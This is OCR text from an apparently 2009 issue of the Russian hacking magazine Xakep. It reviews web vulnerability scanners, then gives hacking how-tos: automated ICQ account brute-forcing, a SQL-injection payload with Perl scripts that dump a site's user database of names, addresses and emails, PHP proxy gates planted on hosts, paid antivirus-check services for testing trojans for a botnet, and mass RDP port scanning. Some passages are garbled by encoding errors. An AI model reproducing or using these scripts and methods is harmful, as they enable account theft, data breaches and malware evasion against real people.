построенных с обильным использованием 
Java Script и AJAX-кода и элементами Adobe 
Flash. Специалистам по информационной 
безопасности Appscan полезен еще и тем, 
что содержит 40 готовых отчетов о соот-

СКАНЕР NIKTO ВХОДИТ 
В СТАНДАРТНЫЙ НАБОР 
BACKTRACK’F

ОПИСАНИЕ НАЙДЕННОЙ 
APPSCAN’ОМ ИНЪЕКЦИИ
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ветствии требованиям, включая требования 
стандартов безопасности данных PCI, ISO 
17799, ISO 27001, Basel II, SB 1386 и PABP 
(Payment Application Best Practices), что не 
может не радовать.

HP WebInspect
www.hp.com
Платформа: Windows
Этот сканер, который теперь принадлежит 
компании HP, ранее так же разрабаты-
вался независимой командой security-
специалистов — SPI Dynamics и лишь 
потом был куплен IT-гигантом. И это один 
из самых удачныч сканеров безопасности. 
Почему? Ну, во-первых, весь процесс пен-
теста сопровождается интерактивным отче-
том, позволяющим быстро вникнуть в струк-
туру ресурса и разобраться с возможными 
дырками. Во-вторых, разработчики позабо-
тились о том, чтобы максимально заточить 
продукт для выполнения тестов на про-
никновение в серьезных веб-приложениях. 
Объектом исследования могут быть всевоз-
можные скрипты, динамически обновляе-
мые сервлеты и фреймворки. WebInspect 
позволяет выявлять большинство суще-
ствующих уязвимостей, которые наиболее 
часто встречаются на сайтах. В то время 
как многие простецкие сканеры курят в сто-
ронке, WebInspect отлично справляется с 
анализом сложных Web 2.0 сайтов, постро-
енных на современных JS-фреймворках и 
с повсеместным применением Ajax. Также 
как и Appscan, продукт умеет декомпили-
ровать SWF-файлы, т.е. элементы сайта на 
Flash’е и анализировать ActionScript-код. 
Причем, помимо непосредственно сканера, 
в продукт входит дюжина вспомогательных 

утилит: для создания дампа базы данных 
с использованием инъекций, фаззер для 
манипуляций с передаваемыми значения-
ми, брутфорс форм, снифер HTTP-запросов 
и т.д.

Acunetix Web Security 
Scanner 
www.acunetix.com
Платформа: Windows
Еще один коммерческий сканер, который 
вместе с AppScan и WebInspect входит в 
тройку самых-самых. Продукт серьезно рас-
кручен, но он бы в век не добился такой 
популярности без того набора фич, который 
он в себе несет. Основная функция — пол-
ностью автоматический пентест. Первым 
делом программа проводит разведку, 
исследуя структуру сайта и возможные 
векторы атак (сценарии, формы, кукисы и 
т.д.). Далее наступает этап проверки, когда 
Security Scanner начинает моделировать 
ввод данных с использования фаззера, 
выполняя хитрые подстановки и анали-
зируя реакцию на них сервера. Большая 
коллекция готовых сниппетов позволяет 
эффективно выявить огромное количество 
потенциальных ошибок, которые легко 
заэксплуатировать. 
Среди доступных для обнаружения уязви-
мостей: все виды SQL injection, Cross site 
scripting, CRLF injection. Важно, что сканер 
производит анализ с умом и учитывает 
специфику удаленной системы — от тебя 
требуется лишь выбрать правильный про-
филь.
Есть у Acunetix Web Security Scanner и 
фишка, которая заслуживает особого 
внимания — это технология AcuSensor. 
Стандартные методы сканирования силь-
но ограничены в возможностях, потому 
как основываются на анализе ответов, 
которые возвращает сервер на различные 
запросы (так называемое сканирование 
черным ящиком). AcuSensor позволяет 
провести намного более глубокое тести-
рование при условии, что у тебя на руках 
есть исходники приложения (форум, чат, 
CMS, онлайн-магазин — любой публично 
доступный скрипт). В этом случае можно 
комбинировать стандартные механиз-
мы сканирования с (внимание!) одно-
временным анализом исходного кода, 
имея при этом четкое представление о 
ходе выполнения программы изнутри! 
Представляешь, чего можно добиться 
таким образом? В твоем распоряжении 
будет не просто информация о возможной 
уязвимости, но и конкретный кусок кода, 
где она найдена, включая номер строки, 
трейс стека и содержание SQL-запроса, 
который при этом отправляет серверу 
база данных. Более того, ты получа-
ешь возможность искать баги, которые 

при стандартном сканировании найти 
практически невозможно. Это касается, 
например, инъекций в INSERT-запросах: 
отыскать и эксплуатировать их крайне 
непросто из-за того, что они не возвра-
щают результата. А своеобразный отлад-
чик AcuSensor’а не только позволит их 
обнаружить, но и далее раскрутить най-
денную брешь до ощутимого результата. 
Супер фича!

Burp Suite
portswigger.net/suite
Платформа: Windows, 
Unix, Mac
Burp Suite — это не одна утилита, а целый 
комплекс тулз для пентестера. Самой 
главной частью программы является Burp 
Proxy, который устанавливается в качестве 
локального веб-проксика и перехватывает 
HTTP/HTTPS-трафик браузера. Другие ути-
литы, а именно Spider, Intruder, Scanner, 
Repeater, Sequencer, Decoder и Comparer 
связаны как с этой самой прокси, так и 
между собой. Например, часть перехва-
ченных с помощью Burp Proxy параме-
тров можно тут же  проверить на предмет 
фильтрации со стороны сервера. Для этого 
достаточно отправить их на растерзание 
Intruder’у. Последний заслуживает особого 
внимания, потому как именно с его помо-
щью можно отыскать и SQL-инжекции, и 
XSS-уязвимости — и много чего еще. На 
вход утилите ты передаешь объект про-
верки, определяешь параметры, которые 
будут изменяться (на основе специально 
сформированных шаблонов), и выбира-
ешь тип атаки. Вообще, большая часть 
пакета предназначена не для автомати-
ческого взлома, а для помощи пентестеру. 
Зато утилита Scanner, доступная в Pro-
редакции, представляет собой полностью 
автоматизированный сканер, способный 
самостоятельно обнаруживать уязвимо-
сти в веб-приложениях. Любопытным 
представляется режим «Live scanning», 
который проверяет на вшивость те сайты, 
который ты в данный момент просматри-
ваешь. 

ACUSENSOR ПОКАЗЫВАЕТ ДАЖЕ 
УЧАСТОК КОДА С УЯЗВИМОСТЬЮ

ОШИБКИ  XSSXSS, , НАЙДЕННЫЕ 
СКАННЕРОМ BURP SUITE
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Подборка сканеров 
для тестирования 
веб-приложений 
ждет тебя на нашем 
DVD. Увы, но часть 
коммерческих при-
ложений, недоступ-
ных для закачки, мы 
положить на диск не 
имели права.

dvd

DVD

Paros Proxy
www.parosproxy.org
Платформа: Windows, Unix, Mac
Чтобы найти уязвимость, нужно, как минимум, иметь 
перед собой картину того, что передается между сер-
вером и клиентом по протоколу HTTP/HTPPS: запросы, 
кукисы, поля форм. Вдвойне здорово, когда такой HTTP-
снифер изначально рассчитан на поиск уязвимостей. 
Благодаря Paros Proxy ты не просто можешь на лету 
изменить сходящие HTTP/HTTPS-запросы, логировать 
собственный траф, но еще и использовать встроенные 
сканеры, с помощью которых тут же проверять сцена-
рии на наличие уязвимостей SQL Injection и XSS. Сам 
Paros Proxy работате в виде прокси-сервера, собирая 
всевозможную информацию во время твоего серфин-
га. Различные методы сканирования реализованы в 
подключаемых плагинах, которые в принципе можно 
разработать самому. Увы, разработчики не развивают 
дальше проект, полностью переключившись на свое ком-
мерческое детище MileSCAN Web Security Auditor (www.
milescan.com/hk).

Wapiti 2.1.0
wapiti.sourceforge.net
Платформа: Windows, Unix, Mac
Консольная утилита для аудита веб-приложений. В осно-
ве — знакомый по другим сканерам принцип черного 
ящика (blackbox), когда анализируются не исходники при-
ложения, а ответы сервера на хитрые запросы сканера. 
Для этого прога сначала анализирует структуру сайта, 
ищет доступные сценарии, составляет список параметров 
для проверки, а затем включает на всю катушку свой фаз-

зер. И продолжает тщательную проверку до тех пор, пока 
все уязвимые скрипты не будут найдены. Сейчас в арсе-
нале тулзы методики для определения: инъекций в базы 
данных (включая HP/JSP/ASP SQL и XPath инъекции), 
XSS-багов, LDAP-инъекций, CRLF-багов (HTTP Response 
Splitting), ошибок в обработке файлов (локальный и 
удаленный include, fopen, readfile и т.д.), возможности 
выполнения команд (eval(), system(), passtru()). В отличие 
от Nikto, который использует базу дырявых сценариев (а я 
напомню, что обновляется она нечасто), Wapiti изначаль-
но настроен на поиск неизвестных уязвимостей. 

ProxyStrike
www.edge-security.com
Платформа: Windows, Unix
Активная веб-прокси для поиска уязвимостей в веб-
сценариях, с которыми ты в данный момент имеешь дело. 
Такой подход особенно актуален для сложных приложе-

ПРОКСИ PAROS WAPITI ЗА РАБОТОЙ

info
Несмотря на то, что 
sqlmap написана 
на Python, суще-
ствует специальная 
portable-версия, 
которая уже включает 
в себя интерпретатор. 
Она также есть на 
нашем диске.

INFO

PC_ZONE

Попробовать свои силы в проникновении на удаленную систему 
проще всего на специальном дистрибутиве Damn Vulnerable Linux 
(www.damnvulnerablelinux.org). Среди дырявых сервисов, для кото-
рых легко пишется эксплоит, простых паролей для системных поль-
зователей и прочих бед горе-администора есть и уязвимые веб-
сценарии, на которых ты можешь попрактиковаться. Система легко 
запускается под виртуальной машиной VMware или VirtualBox. 
Другая менее известная сборка с уязвимыми приложениями, рас-
пространяющаяся в виде образа для WMware, носит название Moth 
(www.bonsai-sec.com/en/research/moth.php)
Помимо этого существует специальный проект — Damn Vulnerable 
Web App (www.ethicalhack3r.co.uk). Написанное на PHP/MySQL, 
приложение содержит самые разные баги, какие только могут быть 
у веб-приложений. Если хочешь сэкономить время на настройку 

веб-сервера, поставь уже готовые сборки: Denwer (www.denwer.ru) 
или XAMPP (www.apachefriends.org/xampp-en.html). 
Другие аналогичные проекты: OWASP WebGoat (www.owasp.org/
index.php/Category:OWASP_WebGoat_Project), Mutillidae (www.
irongeek.com/i.php?page=security/mutillidae-deliberately-vulnerable-
php-owasp-top-10), Stanford SecuriBench (suif.stanford.edu/~livshits/
securibench).
Площадки для демонстрации способностей своих продуктов 
создают и разработчики коммерческих сканеров, участвующих 
в обзоре. Acutenix предлагает сразу три сайта на разных плат-
формах: testphp.acunetix.com, testasp.acunetix.com, testaspnet.
acunetix.com. Тестовый ресурс от HP располагается по адресу zero.
webappsecurity.com. Родной ресурс от пентестеров IBM — demo.
testfire.net.

НА ЧЕМ ПОТРЕНИРОВАТЬСЯ?

PROXYSTRIKE ИДЕАЛЬНО ПОДХОДИТ ДЛЯ 
ПЕНТЕСТА AJAX-ПРИЛОЖЕНИЙ
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ний, построенных на базе JS и Ajax: ведь ника-
кой скрипт не может полностью сымитировать 
работу пользователя и проследить за всеми 
этапами выполнения приложения. На данный 
момент разработчиками реализованы модули 
для поиска Sql-инъекций, XSS и локальных 
инклудов. Сам процесс использования тулзы 
выглядит очень просто. ProxyStrike работает в 
виде обычной прокси (по умолчанию на 8008 
порту), но помимо трансляции трафика в фоно-
вом режиме выполняет фаззинг параметров, 
который твой браузер передает серверам. 
Архитектура приложения изначально легко 
расширяема, и ты можешь сам реализовать 
нужный функционал, написав соответствую-
щий плагин.

XSpider
www.ptsecurity.ru
Платформа: Windows
Первые строчки кода сканера XSpider были 
написаны 2 декабря 1998 года, — за про-
шедшие с тех пор 11 лет XSpider стал изве-
стен каждому российскому специалисту по 
информационной безопасности. Тулза с самого 
начала разрабатывалась как решение для 
анализа самых разных системы и обнаружения 
широкого круг уязвимостей. И хотя это тема 
для отдельного обзора, нельзя не отметить его 
модуль за анализ веб-приложений, благодаря 
которому программа и попала в сегодняшний 
обзор. Автоматический сканер быстро анали-
зирует скрипты на заданном HTTP-сервере 
и выдает о найденных уязвимостях, в том 
числе SQL-инъекций, инъекций кода, запуска 
произвольных программ, получения файлов, 
межсайтовый скриптинг (XSS), HTTP Response 
Splitting. Более того, осуществляется поиск 
слабых мест в конфигурациии сервера, в том 
числе директорий, доступных для просмотра 
без авторизации. База сканера еще обновля-
ется, хотя разработчики всецело переключи-
лись на другой свой продукт — MaxPatrol.

sqlmap
sqlmap.sourceforge.net
Платформа: Windows, Unix, 
Mac
sqlmap — это уже более узкоспециализиро-
ванная утилита, предназначенная специально 
для автоматизации SQL-инъекций. Написанная 
на Python’е тулза может обнаружить на сайте 
и эксплуатировать самые разные виды этой 
уязвимости, включая самые сложные слепые 
инъекции. Если sqlmap обнаружил возмож-
ность инъекции,  будь уверен — что-то ты да 
накопаешь. Впрочем, ее можно эффективно 
использовать в связке с более универсальными 
сканерами. Если Appscan или, скажем, продукт 
от Acunetix нашел SQL-уязвимость, ничего не 
стоит натравить на уязвимый сценарий sqlmap.
Найти более мощный инструмент в пабли-
ке достаточно сложно. Во время поиска 
багов и экспулатации уязвимостей скрипт 
учитывает специфицику MySQL, Oracle, 
PostgreSQL, Microsoft SQL Server. Помимо 
этого частично поддерживаются Microsoft 
Access, DB2, Informix, Sybase и Interbase. 
Для того, чтобы понять, с какой СУБД мы 
имеем дело, sqlmap использует сложные 
методики fingerprinting’а, основанные на 
анализе баннеров сервисов, сообщений об 
ошибках, форматирования вывода. Конечно, 
никакой автоматический скрипт не смо-
жет довести проверку до конца без помо-
щи человека. Но sqlmap — это отличный 
помощник, который может использовать как 
самые простые инжекции, так и сложные 
слепые (blind) инжекции. С его помощью 
ты можешь посмотреть системный баннер, 
выяснить имена текущего пользователя и 
базы, а также проверить, является ли юзер 
администратором. А быть может, повезет — 
и с помощью найденного бага sqlmap тут 
же вытащит список пользователя с хешами 
паролей, баз данных, таблиц, колонок — или 
вообще сделает дамп всех записей в табли-
цах, или сможет выполнить произвольный 
SQL-запрос. Мало этого, сканеру известно и 
о багах, позволяющих читать произвольные 
текстовые и бинарные файлы на серверах, 
где используются MySQL, PostgreSQL и 
Microsoft SQL Server. А если на сервер уста-
новлены magic_quotes_gpc в настройках 
PHP, sqlmap непременно будет кодировать 
строку запроса с помощью CHAR() или дру-
гой подходящей функции. Это не просто 
утилита, это настоящий musthave!

sqlsus
sqlsus.sf.net
Платформа: Windows, Unix, 
Mac
Специальная утилита для реализации инъ-
екций в базы данных MySQL. С помощью 
sqlsus ты намного проще сможешь эксплу-
атировать найденный баг, получив струк-
туру базы, внедрив SQL-запрос, скачав с 
сервера нужные файл, закачав бэкдор и 
т.д., и т.п. Примечательно, что в качестве 
инструмента для хранения полученных 
дампов используется база SQLite, что 
чрезвычайно удобно. Можно, например, 
сделать копию базы, переместив таблицы 
или колонки с уязвимого сервера себе в 
локальную базу на SQLite и полноценно 
работать с ней. Если ты не можешь обра-
титься к базе information_schema, или если 
ее не существует, тулза поможет пробрут-
форсить название таблиц и колонок. sqlsus 
поможет реализовать и blind-инъекции, но 
для этого лучше будет заюзать следующую 
утилиту.

bsqlbf-v2
code.google.com/p/bsqlbf-v2
Платформа: Windows, Unix
Эта тулза специально разработана для осу-
ществления слепых SQL-инъекций. Причем 
изначально поддерживалась только MySQL, 
но в обновленной версии были реализованы 
методики сразу для трех других СУБД: MS SQL, 
PostrgeSQL, Oracle. bsqlbf написана на Perl, 
принимает SQL-запросы через командную 
строку и способна реализовать инъекцию в 
целочисленные и строковые поля. Всего под-
держивается 6 видов слепых инъекций, а тип 
атаки обозначается с помощью ключа для 
запуска «-type»:

./bsqlbf-v2.3.pl -url 

http://192.168.1.1/injection_

string_post/1.jsp?p=1 -type 4 

-match "true" -cmd "ping xakep.ru"

В данном примере эксплуатируется уязвимость 
ORACLE dbms_export_extension exploit, позво-
ляющая с помощью слепой инъекции выпол-
нить произвольную команду. z 
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ОТЧЕТ SQLMAP
РЕАЛИЗУЕМ ИНЪЕКЦИИ 
С ПОМОЩЬЮ SQLSUS

ОТЕЧЕСТВЕННАЯ РАЗРАБОТКА 
XSPIDER

СЛЕПАЯ SQL-ИНЖЕКЦИЯ 
С ПОМОЩЬЮ BSQLBF
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ÐÀÄÀÐ-ÄÅÒÅÊÒÎÐ Ñ  AMAZON.COM

PC_ZONE
  СТЕПАН «STEP» ИЛЬИН / STEP@GAMELAND.RU /

Накрутки местных барыг подчас изумляют. То, что можно 
купить в Европе и Штатах за 100 долларов, у нас продают 
за 200. Если цена 200 там — здесь пытаются продать за 
500. Я не говорю о товарах, на которые распространяются 
серьезные таможенные пошлины — нет. Втридорога продают 
абсолютно все. Серьезную разницу я ощутил в августе, когда 
выбирал себе радар-детектор — это такой полезный девайс, 
который вешается на лобовое стекло машины и предупре-
ждает об излучении различных ДПС-ных примочек. В свете 
появления мобильных камер, устанавливающихся в абсолют-
но любое место, заблаговременно сбавлять скорость стало 
особенно полезным для кошелька :). Отыскав подходящий 
по характеристикам вариант, я поинтересовался стоимостью. 
Цена нужной модели на eBay составляла примерно $140, что 
более чем приемлемо. При этом тот же самый девайс дешев-
ле 10000 руб. у нас было не найти! Ничего себе разница, 
правда? Убедившись, что никакой специфики в девайсах из 
разных стран нет, было принято единственно верное реше-
ние — заказать девайс из Штатов.
Заморачиваться с частными продавцами и мини-лавочками 
на eBay мне не хотелось, поэтому аналогичную позицию за 
$144 я быстренько нашел в другом месте — известном запад-
ном магазине Amazon.com. Но стоило только приступить к 
оформлению заказа, как меня поджидал традиционный для 
таких ситуаций облом: доставка товара магазином возмож-
на только по США и Канаде. «Не отправляем в Россию — и 
точка». Сдаваться не хотелось, поэтому я решил поискать 
компании, которые могли бы выступить посредниками в этой 
операции. 
Оказалось, что обойти подобное ограничение не так уж и 
сложно, и помочь в этом может специальный почтовой адрес 
в США, зарегистрированный на твое имя. «Виртуально» про-
писать тебя на территории Штатов предлагают специальные 
посреднические компании.  Получив посылку на твое имя, 
они отправляют ее дальше в любую точку мира — главное, 
указать адрес и положить деньги на депозит. Положительные 
отзывы я нашел по www.myus.com и www.shipito.com. Второй 
из них оказался дешевле — его-то я и выбрал. 
Во время регистрации тебе необходимо с помощью пласти-
ковой карты или PayPal’а будет перечислить на свой депозит 
$8.50. Это не плата за регистрацию, а цена обработки одной 
посылки компанией. После этого ты получишь примерно 
такой адрес:

STEPAN ILIN
C/O EASTBIZ CORP.
2972 COLUMBIA ST. 
SUITE # 6711 
TORRANCE, CA 90503

Маленький городок в Калифорнии — и ни слова о России. :) 
Недолго думая, я сделал повторную попытку заказать товар. 
Amazon без проблем принял адрес и предложил перейти 
к оплате. Согласившись поучаствовать в какой-то триаль-
ной программе, я получил еще и бесплатную доставку по 
Штатам.
И вот — уже через несколько дней посылка бесплатно была 
доставлена в Shipito. В этот момент к тебе приходит письмо 
с просьбой заполнить декларацию, указав ее содержимое 
и стоимость, а также выбрать вариант для отправления. 
Товары до 10000 руб. в неделю пошлиной не облагаются, 
поэтому я указал все как есть и оплатил необходимые за 
доставку деньги (что-то около $35), выбрав USPS Express 
Mail (аналог нашей почты). Кстати говоря, сразу отправлять 
себе посылку совершенно не обязательно. Если ты заказал 
несколько предметов в разных местах, то Shipito может 
перепаковать их в одну посылку. Плата за это небольшая, 
а сэкономить на доставке можно очень и очень много.
Моя посылка шла ровно 10 дней, причем на протяжении 
всего времени я мог отслеживать ее на сайте USPS и EMS 
(www.emspost.ru) по номеру отправления. Из всего срока 
доставки существенный лаг вносит наша таможня, но зато 
после нее посылку мне доставили лично курьером.
Зачем я это рассказал? Да потому, что потратив полчаса, 
ты можешь заказывать предметы по двое меньшей цене и 
с намного большим ассортиментом. Даже если магазин не 
отправляет товары напрямую в Россию. Девайс, который 
здесь не купить дешевле десяти тысяч рублей, удалось при-
обрести за $186. Конечно, жертвой стала скорость доставки, 
но ради почти двукратной экономии я готов подождать.
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ЗАДАЧА:    НАСТРОИТЬ СОБСТВЕН-
НЫЙ АНОНИМАЙЗЕР С АВТОМАТИ-
ЧЕСКОЙ СМЕНОЙ IP-АДРЕСА 

 
РЕШЕНИЕ:
Если ты не привык юзать паблик проксики по известным причинам, а платным 
сервисам не доверяешь — остается лишь один выход: поднять собственный 
прокси. К счастью, сделать это довольно просто, благо, есть масса готового 

софта :). Пример тому 
— HTTP Local Proxy. 
Именно эту софтину мы 
и будем использовать. 
Прога представляет 
собой анонимайзер, 
работающий через пхп-
гейты. Настроить утилу 
несложно: Собственный анонимайзер
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ЗАДАЧА:  АВТОМАТИЗИРОВАТЬ 
БРУТ АСЕК С ИСПОЛЬЗОВАНИЕМ 
.BRUTAL

РЕШЕНИЕ:
.Brutal является одной из популярнейших софтин для брута асек, посему 
желание автоматизировать его работу — вполне понятно. Для осуществления 
задуманного мы воспользуемся утилой Storm 2008 Brutal Edition, которая пред-
ставляет собой аналог уже известной тебе тулзы Storm 2008 и предназначена 
для облегчения управления брутом. Из основных особенностей инструмента 
стоит выделить:

• Âîçìîæíîñòü óïðàâëåíèÿ .Brutal’îì (íàïðèìåð, çàïóñê/îñòàíîâ-

êà áðóòà, cleanup, îòîáðàæåíèå ñòàòèñòèêè, etc)

• Äîñòóï ê âèíäîâîé êîíñîëè íà óäàëåííîì äåäèêå

• Îòïðàâêà âàëèäíûõ ïàð óèí;ïàññ òåáå â àñþ :)

• Îðãàíèçàöèÿ î÷åðåäè ñïèñêîâ äëÿ áðóòà

• Àâòîìàòè÷åñêîå îáíîâëåíèå ïðîêñèêîâ ïî òàéìàóòó 

• Óäîáíàÿ ñèñòåìà àäìèíèñòðèðîâàíèÿ

• Âîçìîæíîñòü óïðàâëåíèÿ áðóòîì ñ íåñêîëüêèõ íîìåðîâ, ñ óêàçà-

íèåì èíäèâèäóàëüíûõ íàñòðîåê

• Çàãðóçêà óäàëåííûõ ôàéëîâ, icq gate (èñïîëüçîâàíèå 

áîòà â êà÷åñòâå ãåéòà), îòïðàâêà è ïðèíÿòèå ñîîáùåíèé è 

ò.ä.

• Âîçìîæíîñòü èñïîëüçîâàíèÿ áîòà â êà÷åñòâå ãåéòà

Настройка софта и управление брутом не требует особых усилий. Необходимо 
лишь произвести ряд нехитрых манипуляций:
1. Сливаем утилу с нашего диска.
2. Вбиваем данные уина для бота.
3. Управляем ботом при помощи команд:
• Команды управления .Brutal’ом:

/stats — îòîáðàæåíèå ñòàòèñòèêè

/start — íàæàòü áàòòîí ’start’

/stop — íàæàòü áàòòîí ’stop’

...
/threads — óñòàíîâèòü êîëè÷åñòâî ïîòîêîâ

• Команды управления ботом:

/adminlist — îòîáðàçèòü àäìèí-ëèñò

/add UIN[:permissions] — äîáàâèòü óèí â àäìèí-ëèñò

/delete UIN — óäàëèòü óèí èç àäìèí-ëèñòà

/pchange UIN:perm_index:permission, /pchange UIN:permissions 

— èçìåíåíèå ïðàâ

...

/settings — îòîáðàçèòü íàñòðîéêè áîòà

• Команды управления сурс-листами:

/srclist — îòîáðàçèòü ñïèñîê ñóðñ-ëèñòîâ

/srcadd — äîáàâèòü ñóðñ-ëèñò

/srcdel — óäàëèòü ñóðñ-ëèñò

/gen — ñãåíåðèðîâàòü íîâûé ñóðñ-ëèñò

/gen+ — ãåíåðàöèÿ íîâîãî ñóðñ-ëèñòà ñ ÷åêîì ñòðîê íà äóáëè

• Команды управления проксиками/соксами:

/https — ñîõðàíèòü https-ïðîêñè ëèñò (ip:port)

/socks4 — ñîõðàíèòü ñîêñ4-ëèñò

/socks5 — ñîõðàíèòü ñîêñ5-ëèñò

/upd [proxy_types] [proxy_update_type] — îáíîâèòü ïðîêñè-ëèñò

Ничего сложного в процессе управления ботом нет. Так что можешь смело авто-
матизировать брут, избавив себя от рутины :).
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Автоматизируем брут асек

ВЗЛОМ
  M0R0 M0R0@INBOX.RU

  ЛЕОНИД  «R0ID» СТРОЙКОВ  R0ID@MAIL.RU 
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ЗАДАЧА: СЛИТЬ БАЗУ ЮЗЕРОВ ЧЕ-
РЕЗ SQL-ИНЪЕКЦИЮ

РЕШЕНИЕ:
Обнаружив скуль-инъект на каком-нибудь портале, тебе, наверняка, захо-
чется слить оттуда всю базу юзеров. Как ты понимаешь, перебирать сотни, 
а порой и тысячи записей вручную, используя limit или top — не очень 
удобно. Поэтому требуется автоматизация процесса. Рассмотрим пример:
1. Допустим, найденный тобой sql-инъект выглядит так:

http://blablabla.com/pages.php?id=-1+UNION+SELECT+1,2,con

cat(char(94),id,char(58),name,char(58),surname,char(58),

city,char(58),address,char(58),email,char(94)),4,5,6,7,8,

9,10,11+from+users+limit+1,1/*

2. Теперь создаем файл grabber.pl следующего содержания:

#!/usr/bin/perl

print "===================================\n";

print "= SQL-injection Grabber =\n";

print "===================================\n";

use LWP::Simple qw(get);

open(F, '>result.txt'); 

$z=0;

for ($i=0;$i<=1000;$i++){ 

$url="http://blablabla.com/pages.php?id=-1+UNION+SELECT+1,

2,concat(char(94),id,char(58),name,char(58),surname,char(58

),city,char(58),address,char(58),email,char(94)),4,5,6,7,8,

9,10,11+from+users+limit+$i,1/*";

$cont=get($url);

print F $cont."\n";

$z=$z+1;

open(C, '>count.txt');

print C $z; 

close C;

}

close F;

open(D, '>done.txt');

print D $z."\n";

close D;

#print "===================================\n";

#print "= DONE =\n";

#print "===================================\n";

#print $z;

Обрати внимание на переменную $url, а также на переменную $i — она 
определяет количество записей в табличке.
3. Запускаем граббер на удаленном хосте и ждем. Стата будет писаться в 
файл count.txt.
4. После того, как работа граббера закончена — создаем файл parser.pl:

#!/usr/bin/perl

print "===================================\n";

print "= SQL-injection Parser =\n";

print "===================================\n";

open(TT, 'result.txt');

open(F, '>result2.txt'); 

while ($line = <TT>)

{

 $x=index($line, "^");

 $z=rindex($line, "^");

 if($x>-1 && $z>-1){

  $long=$z-$x;

  $res=substr($line, ($x+1), ($long-1));

  print F $res."\n";

  $x=-1;

  $z=-1;

 }

}

print "===================================\n";

print "= DONE =\n";

print "===================================\n";

close TT;

close F;

5. Парсер выберет из мусора все записи, обрамленные символом ̂ . На 
выходе ты получишь читабельную базу с данными юзеров. Кстати, учти, 
что граббер — однопоточный. Крупную базу утянуть им вряд ли удастся, 
однако никто не мешает тебе приложить усилия и переписать его, добавив 
пару полезных функций :).

Сливаем базу через sql-инъект
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1. Сливаем утилу с нашего диска.
2. Распаковываем архив, в нем три файла: gate.php, host.txt, proxy.exe.
3. Заливаем скрипт gate.php на хост (или несколько хостов).
4. В файл host.txt прописываем полный путь до залитого скрипта gate.php, 
например:

site.com/gate.php

site2.com/gate.php

site3.com/gate.php

5. Запускаем proxy.exe, по дефолту открывается порт 8080 и загружается список 
хостов из файла host.txt.
6. Открываем браузер, прописываем хттп-прокси 127.0.0.1 и порт, на котором он 
запущен (по дефолту — 8080).
Вот и все. Если файл host.txt содержит более одного адреса, то proxy будет автома-
тически менять IP-адреса. Что нам и требовалось :).

ЗАДАЧА:  ПРОВЕРИТЬ EXE’ШНИК 
НА ПАЛЕВНОСТЬ РАЗЛИЧНЫМИ 
АНТИВИРЯМИ

РЕШЕНИЕ:
Если у тебя свой ботнет, или ты просто решил над кем-то поглумиться — 
проверить ехе-шник троя просто необходимо. Однако десяток антивирей 
себе не поставишь, да и проверять вручную — дело неблагодарное. Гораздо 

разумнее воспользоваться  автоматическими  сервисами  по  чекингу 
файлов .
1. Платные сервисы:

• avcheck.ru

• avcheck.biz

• av-check.com

• virtest.com
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ЗАДАЧА:   ПРОСКАНИТЬ ДИАПАЗОН 
НА ПРЕДМЕТ НАЛИЧИЯ УЗЛОВ С 
НУЖНЫМ ОТКРЫТЫМ ПОРТОМ

РЕШЕНИЕ:
99% людей, наверняка, скажут: «Нет ничего проще! Запускаем nmap с 
ключами -PS<port> -p <port> AA.BB.CC.DD/MM». И будут правы, но только 
отчасти. Действительно, сеть класса С можно просмотреть и так, но что 
делать с B и А сетями? Пока nmap будет сканить, сам Иосиф Сталин успе-
ет воскреснуть из небытия, прийти к власти и запретить весь интернет как 
пагубную с точки зрения морального воздействия на умы индивидуумов 
среду. Тут нужно что-нибудь простое, быстрое, желательно многопоточ-
ное. Как насчет скана в 2500 потоков одновременно? По-моему, для этой 
задачи в самый раз.

1. Берем софтину под названием dfind (ее можно найти на компакт-диске).
2. Вбиваем команду:

dfind -p 3389 <start_ip> <end_ip>

3. Замеряем скорость скана сетки 88.35.0.0/16 (вбиваем команду «dfind 
-p 3389 88.35.0.0 88.35.255.255»). Получаем 3 минуты 40 секунд и файлик 
весом 7 килобайт с результатами работы. Кстати, результаты сохраняются 
в очень удобной форме в виде <хост>:<открытый порт>. С той же задачей 
Nmap справился за 29 минут 4 секунды. Конечно, nmap может выдать еще 
кучу инфы о сервисах, определить ОС и все такое, но на хрена оно нам 
здесь надо? Кроме того, nmap гораздо медленнее, и после того, как он 
отработает, тебе еще придется парсить результаты.
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Чекаем exe’шник

nmap vs dfind

2. Бесплатные сервисы:

- virustotal.com

- www.novirusthanks.org

- virusscan.jotti.org/ru

- scanner.virus.org

- virscan.org

Описывать бесплатные сервисы я не буду, ибо большинство из них отсылает копии 
твоих файлов в антивирусные компании для дальнейшего анализа, что не есть гут. 
Вместо этого мы остановимся на двух крупнейших платных сервисах — avcheck.
ru и virtest.com. Первый предлагает следующие тарифы. 
Обычная проверка:

$1 — 1 ïðîâåðêà

$10 — 20 ïðîâåðîê

$15 — 40 ïðîâåðîê

Автоматическая проверка:

$15 — ðàç â 48 ÷àñîâ (â òå÷åíèå 30 äíåé) äî 2õ ôàéëîâ + áîíóñ 5 

îáû÷íûõ ïðîâåðîê

$20 — ðàç â 24 ÷àñà (â òå÷åíèå 30 äíåé) äî 2õ ôàéëîâ + áîíóñ 10 

îáû÷íûõ ïðîâåðîê

$25 — ðàç â 24 ÷àñà (â òå÷åíèå 30 äíåé) äî 3õ ôàéëîâ + áîíóñ 20 

îáû÷íûõ ïîâåðîê

Список антивирусов довольно широк: 

Antivirus Version Result AVG 8.5 — ArcaVir 2009 — Authentium 

5.1 — Avast 4.8.1229 — Avira 7.9.1.1 — BitDefender 7.90 

— ClamAV 0.95.2 — DrWeb 5.0 — F-Prot 6.0 — F-Secure 8.0 — 

Kaspersky 8.0.0.506 — McAfee 5711 — NOD32 4342 — Norman 6.01.09 

— Panda 9.04 — Sophos 4.44 — Symantec 10.2.

Все, что от тебя потребуется:
1. Заходим на сайт сервиса — avcheck.ru.
2. Регистрируемся.
3. Пополняем баланс аккаунта.
4. Выбираем режим ручной проверки.
5. Заливаем файл.
6. Через несколько секунд смотрим результат проверки по всем антивирусам.
Аналогичным образом работает и virtest.com, основным его отличием является 
возможность проверки не только exe’шников, но и связок сплойтов. Чем пользо-
ваться — выбирать тебе, анонимность твоего файла в твоих руках :).

 044  XÀÊÅÐ  09  /129/  09

ВЗЛОМ



XÀÊÅÐ  09  /129/  09

ЗАДАЧА:   ОТКЛЮЧИТЬ ТЕРМИ-
НАЛЬНУЮ СЕССИЮ ПОЛЬЗОВАТЕЛЯ 
СЕРВЕРНОЙ ВЕРСИИ WINDOWS 

СРЕДСТВАМИ КОМАНДНОЙ СТРОКИ

РЕШЕНИЕ:
Уверен, раз ты читаешь z, то для реализации своих злодейских замыслов 
